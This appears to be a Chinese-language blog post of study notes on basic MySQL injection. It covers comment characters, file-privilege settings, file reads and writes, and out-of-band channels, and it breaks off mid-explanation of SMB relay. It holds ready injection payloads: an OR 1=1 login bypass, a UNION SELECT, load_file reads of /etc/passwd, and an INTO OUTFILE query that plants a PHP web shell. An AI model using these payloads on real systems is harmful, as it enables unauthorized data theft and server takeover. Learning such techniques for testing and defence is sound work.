Fork me on GitHub

基本MySQL注入攻击

注入常用函数与字符

控制语句操作(select,case,if(),…) case用法
比较操作(=,like,mod(),…)
字符串的猜解操作(mid(),left(),rpad(),…)
字符串生成操作(0x61,hex(),conv()(使用conv[10-36],10,36)可以实现所有字符的表示))

注释符

下面的是MySQL中可以用到的注释符:

#,/,–,;%00,–+,反引号(只能在语句尾使用,MySQL中的注释符)
examples:
`SELECT
FROM Users WHERE username = ‘’ OR 1=1 – -‘ AND password = ‘’;
SELECT * FROM Users WHERE id = ‘’ UNION SELECT 1, 2, 3`’;

其他的常规的就不写了。。。

文件操作权限

在MySQL中,存在一个称为secure_file_priv的全局变量,该变量用于限制数据的导入和导出操作,例如:select ... into outfile语句和LOAD_FILE()
如果secure_file_priv变量为空那么直接可以使用函数,如果为NULL是不能使用
本来应该默认为NULL的,但是不知道为什么我的wamp里的默认为空。。。

读文件

读文件LOAD_FILE()
Examples:
select load_file('/etc/passwd');
select load_file(0x272f6574632f70617373776427);
注意点:
load_file的默认目录是@@datadir
文件必须是当前用户可读
读文件最大的为1047552个byte,@@max_allowed_packet可以查看文件读取最大值

写文件

INTO OUTFILE/DUMPFILE
经典写文件例子:
select '<? system($_GET[\'c\']); ?> INTO OUTFILE '/var/www/shell.php';
INTO OUTFILE 写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE 写文件时会保证原生内容,这种适用于二进制文件
有一个文章讲,写文件讲解
注意点:
INTO OUTFILE不会覆盖文件
INTO OUTFILE必须是查询语句的最后一句
路径名是不能编码的,必须使用单引号

带外通道

带外通道攻击主要是利用其它协议或者渠道从服务器提取数据,它可能是HTTP(s)请求,DNS解析服务,SMB服务,Mail服务等

条件限制

这些函数是要绝对路径的
如果securre_file_priv变量为空那么可以直接使用函数,如果为NULL是不能使用

DNS注入

这个没搞明白,先搁起来

SMB Relay 注入攻击

解释一下SMB Relay
假设有主机B与A
1.A向B发起连接请求
2.B向A发送挑战(一组随机数据,8字节)
3.A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B
4.

Donate comment here